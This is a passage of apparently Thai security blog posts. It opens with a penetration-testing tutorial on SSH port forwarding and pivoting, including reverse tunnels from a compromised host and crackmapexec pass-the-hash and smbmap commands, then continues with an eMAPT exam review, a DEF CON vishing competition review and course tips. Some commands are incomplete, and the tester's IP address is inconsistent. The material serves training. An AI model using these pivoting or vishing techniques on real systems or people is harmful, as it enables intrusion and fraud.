# create new user for SSH tunnel usage
useradd -M -s /bin/false jon_snow
```
> แม้ว่าจะมีการกำหนด default shell ของ user ไว้เป็น /bin/false แต่ยังสามารถที่จะเข้าสู่ระบบด้วยผู้ใช้งานดังกล่าวได้อยู่ เพียงแต่จะไม่มีการอนุญาตให้ใช้งานคำสั่งต่าง ๆ ได้
**Example Command:**
{width="100%"}
จากตัวอย่างด้านบน เราจะสร้าง SSH Tunnel ขึ้นมา โดยที่เครื่องของ Penetration Tester (172.16.1.20) จะมีการเปิด listen ไว้ที่ `port: TCP/12345` เมื่อใดก็ตามที่เราเชื่อมต่อไปยัง `172.16.1.20:12345` เราก็จะสามารถเข้าถึงข้อมูลต่าง ๆ ที่ `incornetto.web:8000` ได้
```shell
# Execute command on incornetto.web machine
ssh -fNTR 12345:localhost:8000 jon_snow@175.16.1.20
```
**Command breakdown:**
**options**:
- `-f` หลังจากที่ยืนยันตัวตนเรียบร้อยแล้ว ให้ SSH client ทำงานเป็นเบื้องหลัง\*`*-N` เป็นการระบุว่าให้ทำ port forwarding เพียงอย่างเดียว ไม่ต้องรันคำสั่งใด ๆ ที่เครื่อง remote server`-T` การปิดไม่ให้มี interaction กับ SSH client ใช้เพื่อเป็นการบอกให้ทำการเชื่อมต่อไปยังเครื่องเป้าหมายเท่านั้น ไม่จำเป็นที่จะต้องมีการ spawn terminal ขึ้นมาเพื่อรันคำสั่งต่าง ๆ`-R` เป็นการระบุว่าจะมีการใช้งาน Remote Port Forwarding
- `ssh -fNTR 12345:localhost:8000 `เป็นการระบุว่าหากใครก็ตามที่เชื่อมต่อเข้ามาที่ `172.16.1.20:12345` ก็จะสามารถเข้าถึงข้อมูลต่าง ๆ ที่ `incornetto.web:8000` ได้
- `jon_snow@175.16.1.20 `เป็นการระบุ username ของ SSH ที่ใช้เชื่อมต่อไปยังเครื่อง `Penetration Tester (175.16.1.20)`
### **Dynamic Port Forwarding**
แทนที่เราจะต้องมาระบุว่าต้องการจะเข้าถึง port ใดบ้างที่เครื่องปลายทาง ในบางครั้งเราก็อาจจะต้องการเข้าถึงหลาย ๆ port พร้อมกัน ถ้าต้องระบุทีละ port ว่าอันไหนบ้างก็อาจจะต้องใช้เวลาค่อนข้างนาน จึงมีอีกวิธีการหนึ่งที่เรียกว่า Dynamic Port Forwarding ที่จะทำให้เราเข้าถึงได้ทีละหลาย ๆ port ที่ต้องการโดยไม่จำเป็นต้องระบุ IP Address และ port ของเครื่องปลายทางเลย
การใช้งานรูปแบบนี้จะเป็นการเปิดใช้งาน SOCKS Proxy server ที่เครื่องของ SSH client ทำให้ต้องมีการใช้งานผ่าน Proxy client ต่าง ๆ ที่มีการรองรับการใช้งาน SOCKS Proxy เช่น proxychains, FoxyProxy เป็นต้น
```shell
ssh -D jane_doe@
```
{width="100%"}
จากตัวอย่างด้านบน เราจะไม่สามารถเข้าถึง `incornetto.local` ได้โดยตรง แต่เราจะสร้าง SSH Tunnel ขึ้นมาและใช้เครื่อง `incornetto.web` เป็นคนส่งข้อมูลไปยังปลายทาง โดยเราจะให้ OpenSSH ทำหน้าที่เป็น SOCKS proxy และรอรับ connection ต่าง ๆ อยู่ที่ port ที่เรากำหนดเอาไว้บนเครื่องของ Penetration Tester (175.16.1.20)
```shell
ssh -fNTD 23456 hodor@incornetto.web
```
**Command breakdown:**
**options**
- `-f` หลังจากที่ยืนยันตัวตนเรียบร้อยแล้ว ให้ SSH client ทำงานเป็นเบื้องหลัง `-N` เป็นการระบุว่าให้ทำ port forwarding เพียงอย่างเดียว ไม่ต้องรันคำสั่งใด ๆ ที่เครื่อง remote server `-T` การปิดไม่ให้มี interaction กับ SSH client ใช้เพื่อเป็นการบอกให้ทำการเชื่อมต่อไปยังเครื่องเป้าหมายเท่านั้น ไม่จำเป็นที่จะต้องมีการ spawn terminal ขึ้นมาเพื่อรันคำสั่งต่าง ๆ `-D` เป็นการระบุว่าจะมีการใช้งาน Dynamic Port Forwarding
- `ssh -fNTD 23456 `เป็นการระบุว่าให้ SSH Tunnel ให้ทำตัวเป็น SOCKS proxy และรอรับ connection ต่าง ๆ ที่ `port: TCP/23456` ของเครื่อง `Penetration Tester (175.16.1.20)` เมื่อ SSH Tunnel รับ connection มาเรียบร้อยแล้วจะส่งต่อไปยังเครื่อง `incornetto.web` เพื่อให้ส่งไปยังเครื่องปลายทาง
- `hodor@incornetto.web `เป็นการระบุ username ที่ใช้เชื่อมต่อ SSH ไปยังเครื่อง\* `incornetto.web*`
หลังจากที่มีการสร้าง SSH Tunnel ขึ้นมาเรียบร้อยแล้ว เราสามารถใช้ proxy client ต่าง ๆ ในการส่ง connection ผ่าน SOCKS proxy ได้เลย ในตัวอย่างจะเป็นใช้งาน `proxychains` ซึ่งเราจำเป็นที่จะต้องแก้ไข configuration ของ `proxychains` ก่อนที่จะใช้งาน SOCKS proxy โดยตัวอย่าง configuration ด้านล่างจะเป็นการระบุว่าจะมีการใช้งาน SOCKS proxy ที่ `localhost:23456`
```shell
sudo echo 'socks5 127.0.0.1 23456' >> /etc/proxychains4.conf
```
เมื่อแก้ไข configuration เรียบร้อยแล้ว เราสามารถใช้งานคำสั่งต่าง ๆ ผ่าน proxychains ได้เลย โดยในตัวอย่างด้านล่างจะเป็นการใช้งาน `crackmapexec` ผ่าน proxychains โดย connection จาก `crackmapexec` จะถูกส่งไปที่ `port: TCP/23456` บนเครื่องของเรา และส่งไปยังเครื่อง `incornetto.web` ผ่านทาง SSH Tunnel จากนั้นจะส่ง connection ไปยังเครื่อง `10.50.20.112` ซึ่งเป็นเครื่องที่อยู่ใน internal network
```shell
proxychains crackmapexec smb 10.50.20.112 -d 'seven.kingdom' -u 'jon_snow' -H 0DADDA06E1285B76E903ADF9E7D73FC8
```
**SOCKS Proxy with DNS**
สำหรับการใช้งาน proxychains และ SOCKS4 นั้นจะไม่ได้มีการสนับสนุน DNS resolve มาตั้งแต่แรก ทำให้เราต้องทำการแก้ไขและเพิ่ม hostname ที่เราต้องการที่ไฟล์ `/etc/hosts` (Linux) หรือ `%systemdrive%\Windows\System32\drivers\etc\hosts` (Windows) เพื่อให้เครื่องของเราสามารถที่จะ resolve IP address ของ hostname ที่เราต้องการใช้งานได้
แต่ใน SOCKS4a และ SOCKS5 ได้รองรับการใช้งาน DNS resolve เรียบร้อยแล้ว ทำให้เราไม่จำเป็นที่จะต้องทำการแก้ไขไฟล์ hosts เพื่อเพิ่ม hostname อีกต่อไป โดยเราสามารถแก้ไข configuration ของ proxychains เพื่อให้เราสามารถทำ DNS resolve ผ่าน SOCKS proxy ได้ตามด้านล่าง
```shell
# Uncomment the proxy_dns line at /etc/proxychains4.conf
# Proxy DNS requests — no leak for DNS data
proxy_dns
```
### **Reverse Dynamic Port Forward**
ตั้งแต่ OpenSSH version 7.6 ขึ้นไป จะมีการรองรับการใช้งานที่เรียกว่า Reverse Dynamic Port Forwarding ซึ่งตัวของ SSH จะทำหน้าที่เป็น SOCKS Proxy และ forward connection ต่าง ๆ ไปที่เครื่องปลายทาง โดยจะต้องมีการใช้งานผ่าน proxy client ต่าง ๆ เช่น proxychains, FoxyProxy เป็นต้น
วิธีการใช้งานจะคล้าย ๆ กับ Dynamic Port Forwarding ก็คือเราไม่จำเป็นที่จะต้องระบุ IP address และ port ของเครื่องปลายทางเลย แต่จะต่างกันตรงที่ว่าวิธีการนี้เครื่องของเราจะทำหน้าเป็น SSH server และจะให้เครื่องที่เรายึดครองมาได้นั้นเชื่อมต่อเข้ามาหาเราแทน
```shell
## Pentester's machine
sudo service ssh start # Start SSH service
sudo echo 'socks5 127.0.0.1 ' >> /etc/proxychains4.conf # Modify proxychains configuration
## Compromised Server
ssh -R jon_snow@ # Connect to pentester's machine and enable reverse proxy on the specific port
```
สำหรับการตั้งค่าต่าง ๆ เพิ่มเติมของฝั่ง SSH server นั้น เราสามารถตั้งค่าได้เช่นเดียวกันกับกรณีของ Remote Port Forwarding ก่อนหน้านี้ได้เลย
**Example Command:**
{width="100%"}
จากตัวอย่างด้านบน เราจะสร้าง SSH Tunnel ขึ้นมา โดยเครื่องของ Penetration Tester (175.16.1.20) จะทำหน้าที่เป็น SSH server แทนและให้เครื่อง `incornetto.web` เป็น SSH client ที่เชื่อมต่อมาแทน รวมถึงจะสั่งให้มีการเปิด SOCKS proxy ที่ port ที่กำหนดบนเครื่องของ Penetration Tester (175.16.1.20) เอาไว้ด้วย
```shell
# Execute command on incornetto.web machine
ssh -fNTR 34567 jon_snow@175.16.1.20
```
**Command Breakdown:**
**options:**
- `-f` หลังจากที่ยืนยันตัวตนเรียบร้อยแล้ว ให้ SSH client ทำงานเป็นเบื้องหลัง `-N` เป็นการระบุว่าให้ทำ port forwarding เพียงอย่างเดียว ไม่ต้องรันคำสั่งใด ๆ ที่เครื่อง remote server `-T` การปิดไม่ให้มี interaction กับ SSH client ใช้เพื่อเป็นการบอกให้ทำการเชื่อมต่อไปยังเครื่องเป้าหมายเท่านั้น ไม่จำเป็นที่จะต้องมีการ spawn terminal ขึ้นมาเพื่อรันคำสั่งต่าง ๆ `-R` เป็นการระบุว่าจะมีการใช้งาน Reverse Dynamic Port Forwarding (ใช้ syntax เดียวกับของ Remote Port Forwarding)
- `ssh -fNTR 34567 `เป็นการระบุว่าให้ SSH Tunnel ให้ทำตัวเป็นเหมือน SOCKS proxy และรอรับ connection ต่าง ๆ ที่ `port: TCP/34567` ของเครื่อง `Penetration Tester (175.16.1.20)` เมื่อ SSH Tunnel รับ connection มาเรียบร้อยแล้วจะส่งต่อไปยังเครื่อง `incornetto.web` เพื่อให้ส่งไปยังเครื่องปลายทาง
- `jon_snow@175.16.1.20 `เชื่อมต่อไปยังเครื่องของ `Penetration Tester (175.16.1.20)` ด้วย username ที่มีการใช้งานอยู่ภายในเครื่อง
หลังจากที่มีการสร้าง SSH Tunnel ขึ้นมาเรียบร้อยแล้ว เราสามารถใช้ proxy client ต่าง ๆ ในการส่ง connection ผ่าน SOCKS proxy ได้เลย ในตัวอย่างจะเป็นใช้งาน `proxychains` ซึ่งเราจำเป็นที่จะต้องแก้ไข configuration ของ `proxychains` ก่อนที่จะใช้งาน SOCKS proxy โดยตัวอย่าง configuration ด้านล่างจะเป็นการระบุว่าจะมีการใช้งาน SOCKS proxy ที่ `localhost:34567`
```shell
sudo echo 'socks5 127.0.0.1 34567' >> /etc/proxychains4.conf
```
เมื่อแก้ไข configuration เรียบร้อยแล้ว เราสามารถใช้งานคำสั่งต่าง ๆ ผ่าน proxychains ได้เลย โดยในตัวอย่างด้านล่างจะเป็นการใช้งาน `smbmap` ผ่าน proxychains โดย connection จาก `smbmap` จะถูกส่งไปที่ `port: TCP/34567` บนเครื่องของเราและส่งไปยังเครื่อง `incornetto.web` ผ่านทาง SSH Tunnel จากนั้นจะส่ง connection ไปยังเครื่อง `10.50.20.253` ซึ่งเป็นเครื่องที่อยู่ใน internal network
```shell
proxychains smbmap -H 10.50.20.253 -u 'jon_snow' -p 'i-know-nothing'
```
ในบางครั้งการใช้งาน SSH Tunnel อาจจะไม่ค่อยมีความเสถียรมากมัก ทั้งจากปัจจัยทาง network ที่อาจจะทำเกิด timeout ขึ้นได้บ่อย ๆ เลยมี tools หลาย ๆ ตัวที่ใช้เพิ่มความเสถียรให้กับ SSH Tunnel ได้ เช่น
- {rel=""nofollow""}
- {rel=""nofollow""}
สุดท้ายนี้ในการทำ Network Pivoting นั้นมีเทคนิคที่มากมายหลากหลายให้เลือกใช้กันตามแต่จะสะดวก บทความชุดนี้เป็นเพียงหนึ่งในเทคนิคที่สามารถนำไปประยุกต์ใช้งานได้ทั้งในการทำ Network Penetration Test การสอบ security certifications ต่าง ๆ ได้
---
**Reference:**
- {rel=""nofollow""}
- {rel=""nofollow""}
- {rel=""nofollow""}
- {rel=""nofollow""}
- {rel=""nofollow""}
# Application Penetration Tester (eMAPT) 2023
วันนี้ผมจะมาเล่าถึงการไปสอบเอา Certificate ที่สายทำ Mobile Application Penetration Testing ต้องมีกัน คือ
> eLearnSecurity Mobile Application Penetration Tester (eMAPT)
## Preparation
ในช่วง Black Friday ก็มีหลากหลาย Promotion ที่เย้ายวนใจกัน ระหว่างผมหาข้อมูลอยู่นั้นก็ไปสะดุดเจอของ [INE](https://ine.com/){rel=""nofollow""} นั้นเอง ซึ่ง INE นั้นเป็นแหล่งรวม Course เรียนต่าง ๆ ที่ทาง eLearnSecurity แนะนำไว้ โดย Promotion ของ INE ที่ผมกดซื้อมาตอนนั้น คือ INE Premium+ มีรายละเอียดตามนี้
- เข้าเรียน Course ทุกอย่างใน [INE](https://ine.com/){rel=""nofollow""} ได้ภายใน 1 ปี
- เข้าเรียน Course ทุกอย่างใน [Pentester Academy](https://www.pentesteracademy.com/){rel=""nofollow""} ได้ภายใน 1 ปี
- voucher ให้สามารถซื้อสอบ Certificate ของค่าย eLearnSecurity ได้ฟรี 1 อัน
- voucher ส่วนลดค่าสอบ Certificate อีก 50% ให้อีก 1 อัน
หลังจากจัดกันไปก็เรียบร้อยแล้ว เราก็มาเริ่มเรียน Course ได้เลย
## LET’S GO
ภายใน Website ของ INE นั้นจะมีเมนู Certifications ให้เลือก โดยระบบจะพาเราไปหน้ารวม Certificate ต่าง ๆ และจะมีแนะนำว่าเราต้องเรียน Course ไหนบ้าง ตรงนี้เราก็เลือก Certificate ที่เราสนใจจากนั้นก็กด Get Training ได้เลย สำหรับ eMAPT จะต้องเลือก Course: Mobile Application Penetration Testing Professional
โดยรายละเอียดภายใน Course จะมีแบ่งเป็น 2 ส่วน คือ **Android & Mobile App Pentesting** กับ **iOS & Mobile App Pentesting** ในเนื้อหาก็จะมี Slide/Video และ Lab มาให้เรา Download ไปทำด้วย **(แนะนำเล่น Lab ให้ครบนะ)**
ตอนที่เราเรียนใน Course ก็มีให้เรียนทั้ง 2 Platform คือ Android และ iOS แต่การสอบ eMAPT นั้นจะเน้นเฉพาะ Android Platform อย่างเดียว โดยที่เราจำเป็นต้องเขียน Application ขึ้นมาเพื่อไปทำการโจมตี Application เป้าหมายที่มีช่องโหว่
ซึ่งตรงนี้เราก็ควรที่รู้เรื่อง Coding ด้วย ถ้าใครไม่เคยเขียนพวก Mobile Application มาก่อนก็ต้องใช้เวลาเพื่อทำความเข้าใจ ซึ่งตรงนี้ก็แนะนำให้ไปศึกษาเรื่องภาษาที่ใช้ในการเขียน Mobile Application ด้วยนะ ส่วนในเรื่องภาษาที่ผมเลือกใช้ คือ Kotlin มาใช้เขียน Application เพื่อใช้โจมตี
หลังจากลองเล่น Lab ครบหมดแล้ว แต่รู้สึกอยากทำเพิ่มเติมอีกก็สามารถไปลองเล่นโจทย์ CTF ได้จาก Link ในหัวข้อ **Resource & Link** ได้เลย ในการแก้โจทย์ CTF ถ้าข้อไหน ดูแล้วสามารถเขียน Application เพื่อโจมตีได้ก็แนะนำให้ลองเขียนขึ้นมาเพื่อทำการโจมตีด้วย
## Exam
พอเรามั่นใจแล้วว่าพร้อมสอบก็ไปกดซื้อ voucher เพื่อที่จะสอบกันเลย การสอบของค่าย eLearnSecurity นั้นไม่จำเป็นต้องทำการนัดเวลาสอบ เมื่อคุณซื้อเสร็จและพร้อมสอบ ก็สามารถกดเริ่มสอบได้เลย และหากใครที่สอบไม่ผ่านก็จะมีให้สอบใหม่อีก 1 ครั้ง แต่คุณจำเป็นต้องส่ง Report ก่อนถึงจะได้รับสิทธิ์ตรงนี้
พอกดเริ่มสอบมา เราจะมีเวลาสอบทั้งหมด 7 วัน โดยเราจะได้รับไฟล์ APK ของเป้าหมายและเงื่อนไขให้เรามาอ่าน พออ่านเสร็จ เราก็มาวิเคราะห์และหาช่องโหว่ของ Applicaiton ที่ได้มากัน
พอเรารู้แล้วว่าช่องโหว่มันคืออะไร เราก็เริ่มเขียน Application ของเราเองขึ้นมาเพื่อโจมตีได้เลย ในส่วนหาช่องโหว่ก็ไม่ได้ยากเกินไป ใช้เวลาไม่นานก็หาช่องโหว่เจอแล้ว แต่เราจะไปเสียเวลาตรงเขียน Application ที่จะใช้ในการโจมตีมากกว่า (เขียนยังไงไม่ให้ Error 5555)
{width="100%"}
จากที่ Run Application ของเราได้สำเร็จโดยไม่ Error แล้ว เราก็เตรียมส่งได้เลย การสอบ eMAPT นั้นเราไม่ต้องทำ Report แต่เราจะต้องส่ง POC Source Code และไฟล์ APK ของ Application ที่เอาไว้โจมตี ไปให้ทาง eLearnSecurity ตรวจสอบ
หลังจากทาง eLearnSecurity ตรวจสอบเสร็จแล้วก็จะส่ง Email ตอบกลับมาเพื่อแจ้งผลการสอบและก็ยินดีด้วยนะคุณสอบผ่านแล้ว
{width="100%"}
## Tips & Trick
- อ่าน Code และทำความเข้าใจถึง Logic ของ Application เป้าหมาย
- สามารถใช้ Tools มาช่วยในการวิเคราะห์ Application ได้ เพื่อช่วยในการหาช่องโหว่ ตรงนี้ก็ได้มีเอาพวก drozer กับ MobSF มาใช้งาน
- หลังจากทำ Application ของเราเสร็จแล้วอาจจะเจอปัญหาที่ว่า Archive แล้วไฟล์ใหญ่เกินไปทำให้ Upload ส่งไม่ได้ แนะนำให้ไปลบ build folder ออก โดยถ้าใครใช้ Android Studio ในการสร้าง Application มันจะอยู่ที่ Directory: project\_name -> app โดยภายใน build folder นี้จะเป็นรวมพวกไฟล์ที่ compiled code ของเราเก็บไว้ ซึ่งสามารถลบได้อย่างปลอดภัยและทำให้ขนาดไฟล์เราลดลงด้วย
- อย่าลืมเปิด Application เป้าหมายก่อนที่เราจะ Run Application ของเราเพื่อโจมตี
## Resource & Link
**Android Developer**
- {rel=""nofollow""}
- {rel=""nofollow""}
- {rel=""nofollow""}
- {rel=""nofollow""}
- {rel=""nofollow""}
- {rel=""nofollow""}
**CTF**
- {rel=""nofollow""}
- {rel=""nofollow""}
**Cost**
- INE Premium+ ราคา 649 $ (ราคาตอน Black Friday)
- eMAPT Certification ราคา 400 $ (ใช้ voucher ลด 100 % ที่ได้จาก Package จาก INE Premium + ทำให้ค่าใช้จ่ายตรงนี้ไม่ต้องเสียตัง)
# DEF CON 31: Vishing Competition Review
ทางทีม Incognito Lab ได้ไปร่วมงาน DEF CON 31 ที่ Las Vegas ประเทศสหรัฐอเมริกา โดยปกติแล้วในงาน DEF CON จะมีกลุ่ม community แยกย่อยไปอีกหลายกลุ่ม ซึ่งจะถูกเรียกว่า village โดยในโพสนี้ก็จะมารีวิวถึงบรรยากาศของ Social Engineering Community Village ในช่วงที่มีการแข่งขัน Vishing Competition
{width="100%"}
## เกริ่นก่อนเข้าเรื่อง — Vishing คืออะไร?
บางท่านอาจจะไม่ค่อยคุ้นชินและสงสัยกับคำว่า Vishing ว่าหมายถึงอะไร Vishing มาจากคำว่า Voice + Phishing นั่นเอง ซึ่งก็คือการใช้โทรศัพท์ (เสียง) ในการโทรไปหลอกล่อเหยื่อเพื่อหลอกถามข้อมูลที่มีความสำคัญ หรือหลอกให้ทำอะไรบางอย่าง มาถึงตรงนี้หลาย ๆ คนคงพอจะนึกออกแล้ว ว่ามันคือสิ่งเดียวกันกับที่แก๊งค์คอลเซ็นเตอร์ทำอยู่ประจำนั่นแหละ
## เข้าเรื่อง — รีวิวบรรยากาศ Vishing Competition
ที่ Social Engineering Community Village จะมีการจัดแข่งขันการทำ Vishing อยู่แล้วทุกปี โดยก่อนที่จะมาเข้าสู่ช่วงแข่งแบบ onsite live นั้น ทางทีมงานจัดการแข่งจะมีการแจ้งชื่อบริษัทเป้าหมายในการแข่งขันให้ผู้เข้าแข่งขันทราบ และผู้เข้าแข่งขันจะต้องทำการ OSINT บริษัทเป้าหมายเพื่อหาข้อมูลมาล่วงหน้าก่อนที่จะเริ่มทำ Vishing จริง (และต้องทำ OSINT report และ Vishing report ส่งเพื่อทำคะแนนด้วย) โดยวิธีการสมัครและขั้นตอนก่อนเริ่ม onsite live สามารถอ่านเพิ่มเติมได้ที่ {rel=""nofollow""}
สำหรับในวันแข่งขันจริง ผู้เข้าแข่งขันต้องเข้าไปอยู่ในห้องเก็บเสียง และจะมีการถ่ายทอดภาพและเสียงจากในห้องเก็บเสียงตอนที่คุยโทรศัพท์ออกมาให้คนในห้องประชุมได้ดูและได้ฟัง ซึ่งในวันที่ทีมงาน Incognito Lab ได้เข้าไปฟังนั้นมีคนเข้ามาฟังกันเต็มห้องเลยทีเดียว และในห้องนี้จะห้ามอัด video และอัดเสียงโดยเด็ดขาด (แต่สามารถถ่ายรูปได้อยู่)
{width="100%"}
เวลาของการแข่งขันคือ 22 นาที โดยใน 22 นาทีนี้ผู้เข้าแข่งขันต้องโทรหาบริษัทเหยื่อและพยายามหลอกถามคำถามตาม objective ที่ผู้จัดงานกำหนดมาให้ได้
> *ตัวอย่าง objective เช่น ข้อมูลเกี่ยวกับเรื่อง access control, การใช้งาน VPN, การใช้งาน MFA, operating system ที่ใช้, web browser ที่ใช้, security guard เป็นต้น*
จากนั้นเมื่อครบเวลาจะมี commentator 3 คนยกป้ายให้คะแนน (คนละไม่เกิน 10 คะแนน) ซึ่งตอนที่ทางทีมงาน Incognito Lab เข้าไปดูนั้น ได้เข้าไปในช่วงที่ 2 ทีมกำลังแข่งขันกันอยู่พอดี โดยทั้งสองทีมจะต้อง Vishing ไปที่บริษัทเดียวกัน (แต่ใครจะได้เริ่มก่อนนั้นจะมีการโยนเหรียญตัดสินเอา) ทีมแรกคือ ทีม Obsidian Spectre (ทีมนี้มีคนเดียว) และทีมที่สองคือทีม Mr.Hackermen (ทีมนี้มีสองคน)
1. ทีม Obsidian Spectre
หลอกล่อว่าเป็นพนักงาน IT และสร้างสถานการณ์กดดัน บีบบังคับว่า เหลือเวลาทำงานอีกนิดเดียว เย็นแล้วจะรีบกลับ ช่วยตอบคำถามเหล่านี้ให้หน่อย แล้วก็มีการพยายามหลอกล่อถามคำถามให้ได้ตาม objective ของการแข่งขัน
{width="100%"}
2. ทีม Mr.Hackerman
คนแรก แนวพูดจาฉะฉาน ชัดเจน โทรบอกว่ามาจากแผนกที่เป็น Employee Survey ก็ดูจริงจัง
คนที่สอง แนวคุยชิว ๆ เหมือนคนทำงานปกติ บอกว่ามาจากแผนกที่เป็น Employee Survey เหมือนกัน โดยก็คุยแนว ๆ เพื่อนร่วมงานขอให้ช่วยตอบโน่นนี่นะ ถึงแม้ว่าบางคำถามจะงี่เง่าก็ขอให้ช่วยตอบหน่อยนะ
{width="100%"}
โดยสไตล์เท่าที่ฟังของทั้งสองทีมในภาพรวมคือเริ่มจากแสดงตัวว่ามาจากไหน ให้เหยื่อเชื่อถือ จากนั้นก็เริ่มไล่คำถาม โดยคำถามจะไม่ใช่ปลายเปิดซะทีเดียว เช่น
- เครื่องที่ใช้อยู่เป็นเครื่อง POS (point of sale) หรือว่า PC ? (บริษัทเหยื่อเป้าหมายเป็นบริษัทที่ทำธุรกิจเกี่ยวกับการขายอาหารประเภทหนึ่ง)
- PC ที่ใช้อยู่ Windows 10 ป่าว?
- PC มี Antivirus เป็น Sentinel One ไหม?
- ถ้าไม่รู้ว่า AV อะไร ช่วยพิมคำสั่งนี้ในช่อง search แล้วพูด output ให้ฟังหน่อย
โดยระหว่างการแข่งขันและถ่ายทอดภาพในห้องประชุม แน่นอนว่ามันจะต้องมีจังหวะที่รู้สึก awkward อยู่บ้าง ซึ่งก็เป็นจังหวะที่ผู้จัดงานสามารถแทรก meme ให้ได้ฮากันเป็นระยะ ๆ
และอีกจุดหนี่งที่ค่อนข้างได้รับเสียงหัวเราะ และท้าทายสำหรับผู้เข้าแข่งขันด้วยเช่นเดียวกัน คือจะมีการการเปิดให้ผู้ฟังในห้องร่วมกันโหวตคำถามที่ผู้แข่งขันจะต้องถามเหยื่อให้ได้จึงจะได้คะแนน bonus เพิ่ม (และแน่นอนว่าคำถามจะเน้นไปทางฮา ๆ และไม่เกี่ยวอะไรกับเรื่องที่ผู้เข้าแข่งขันกำลังคุยกับเหยื่ออยู่เลย) ตัวอย่างคำถาม…
{width="100%"}
การได้เข้าไปสัมผัสกับบรรยากาศแบบนี้เป็นประสบการณ์ดี ๆ ครั้งหนึ่งในชีวิตที่คนทางสายงานด้าน cyber security ควรเข้าไปสัมผัสเป็นอย่างยิ่งครับ
## ข้อมูลเพิ่มเติม
Conflict International เคยทำคลิปโชว์ทำ Vishing จริงใน DEF CON 23 เมื่อปี 2017 ไว้ สามารถไปลองดูกันได้ครับ
### วิธีการป้องกันตัวเองจาก Vishing
Vishing นี้จริง ๆ แล้วก็คือวิธีการเดียวกันกับที่แก๊งค์คอลเซ็นเตอร์ที่ระบาดเป็นอย่างหนักในประเทศไทยใช้งานอยู่นั่นเอง แล้วเราจะสร้างภูมิคุ้มกันตัวเองให้ไม่ตกเป็นเหยื่อได้ง่าย ๆ จากวิธีการแบบนี้ได้อย่างไรบ้าง?
- ให้ทำการยืนยันตัวตนผู้ที่โทรเข้ามาเสมออย่าหลงเชื่อเพียงเพราะผู้ที่โทรเข้ามานั้นมีข้อมูลส่วนตัวของเรา หรือข้อมูลที่ดูแล้ว(เหมือนจะ)น่าเชื่อถือ (ให้คิดไว้เสมอว่าข้อมูลของเราไม่ว่าจะส่วนตัวมากน้อยแค่ไหน ก็มีโอกาสที่อาจจะรั่วไหลออกไปยังมิจฉาชีพแล้วไม่ว่าทางใดก็ทางหนึ่งเสมอ) ซึ่งวิธีการที่ควรทำก็อย่างเช่น หากมีผู้โทรเข้ามาอ้างว่าเป็นพนักงานจากธนาคาร ก็ให้ทำการตรวจสอบเบอร์โทรจากเว็บไซต์ทางการของธนาคารว่ามีการใช้งานเบอร์โทรตามที่โทรเข้ามาจริงหรือไม่ รวมถึงหากมีการแจ้งให้ทำธุรกรรมที่น่าสงสัยก็ควรที่จะติดต่อกลับไปยังธนาคารเองโดยตรงเพื่อยืนยันให้แน่ใจว่าผู้ที่โทรเข้ามานั้นเป็นพนักงานธนาคารจริง ๆ หรือไม่ และมีการแจ้งให้ทำธุรกรรมดังกล่าวจริงหรือไม่
- ใช้ application ที่ช่วยในการกรองเบอร์โทรศัพท์ที่โทรเข้ามาว่าน่าจะเป็นมิจฉาชีพหรือไม่ เช่น whoscall เป็นต้น แต่ทั้งนี้ทั้งนั้นก็ควรจะตรวจสอบ permission ของ application ที่จะใช้ให้ดีด้วย ว่ามีการขอ permission การเข้าถึงข้อมูลที่เหมาะสมหรือไม่, มีการส่งข้อมูล contact ที่อยู่ภายในโทรศัพท์ของเราไปที่ server เจ้าของ application หรือไม่ และเราที่เป็นผู้ใช้สามารถที่จะรับความเสี่ยงในกรณีที่ข้อมูลถูกส่งออกไปได้มากน้อยเพียงใด
# Cyber Skills Unleashed: Recommended Cybersecurity Learning
## Introduction
บทความนี้สำหรับผู้เริ่มต้นในสาย Cybersecurity เรามักได้รับคำถามว่าควรจะไปอ่านหรือเรียนรู้ด้าน Cybersecurity จากไหนดี วันนี้ขอมาแนะนำคอร์สเพื่อไปอัปสกิลกันครับ โดยหลักเกณฑ์สำคัญที่เลือกคอร์สเหล่านี้มาก็คือ "คุณภาพ" ต้องดี และ "ราคา" ต้องไม่แพง ทุกคนพอจะเข้าถึงได้ (แน่นอนว่ามีคอร์สแพง ๆ แต่นั่นไว้ตอนเราเทพก่อน)
## Selecting the Right Course
จากข้อมูลในตารางแนะนำว่า:
1. ปูพื้นฐานด้วยคอร์ส Skooldio ก่อน เพื่อให้เข้าใจพื้นฐานด้าน security อีกทั้งเนื้อหายังเป็นภาษาไทย ผู้ที่เริ่มต้นสามารถเรียนรู้ได้ทันที
2. ในสาย Cybersecurity มีการแตกย่อยไปอีกหลายสาย ค้นหาตัวเองดูว่าเราสนใจเรื่องไหน ลองศึกษาเนื้อหาหัวข้อต่าง ๆ จาก Hack The Box Academy, TryHackMe
3. เลือกคอร์สที่เจาะลึกลงไปในหัวข้อที่สนใจต่อไป เช่น หากสนใจ Web Security ก็สามารถศึกษาได้จาก Web Security Academy ของ PortSwigger เป็นต้น
แต่ละคนมีสไตล์การเรียนรู้ที่แตกต่างกันออกไป บางคนอาจชอบรูปแบบ text-based แต่หากได้ดู video อธิบาย ก็ช่วยให้เข้าใจเนื้อหาที่มีความซับซ้อนมากยิ่งขึ้นได้ พิจารณาคอร์สที่เหมาะกับสไตล์ของเรา ในขณะเดียวกันก็ควรที่จะลองรูปแบบอื่น ๆ ด้วย ในสาย Cybersecurity การมีประสบการณ์ hands-on เป็นประโยชน์อย่างมากในการทำงานจริง การเลือกคอร์ส หรือ platform ที่มี labs ด้วยก็ช่วยเพิ่มประสบการณ์ในส่วนนี้ได้เช่นกัน ในหลาย platform สามารถเข้าไปเรียนได้ฟรี หากชอบก็ค่อยพิจารณาซื้อ package ที่ต้องเสียเงินต่อไป
จะเห็นได้ว่าสิ่งหนึ่งที่เราหนีไม่พ้นคือเรื่องของภาษานะครับ ถ้าใครไม่ถนัดภาษาอังกฤษก็ควร take course เพิ่มหรือพยายามเยอะขึ้นหน่อยนะครับ เพราะสุดท้ายแล้วเราคงหนีไม่ได้ในเรื่องของภาษา เนื่องจากมันจะช่วยให้เราสามารถเข้าถึง resource ดี ๆ ได้มากขึ้น นอกจากเรื่องของภาษาแล้วพื้นฐานความรู้เพื่อนำไปต่อยอดก็สำคัญเช่นกัน ดังนั้นนี่จึงเป็นหนึ่งในเหตุผลที่เราทำคอร์สพื้นฐานภาษาไทยเพื่อให้มือใหม่สามารถเข้าถึงได้ง่าย
# Regulation, Standard, และ Guideline ที่ควรรู้ของ OT Security
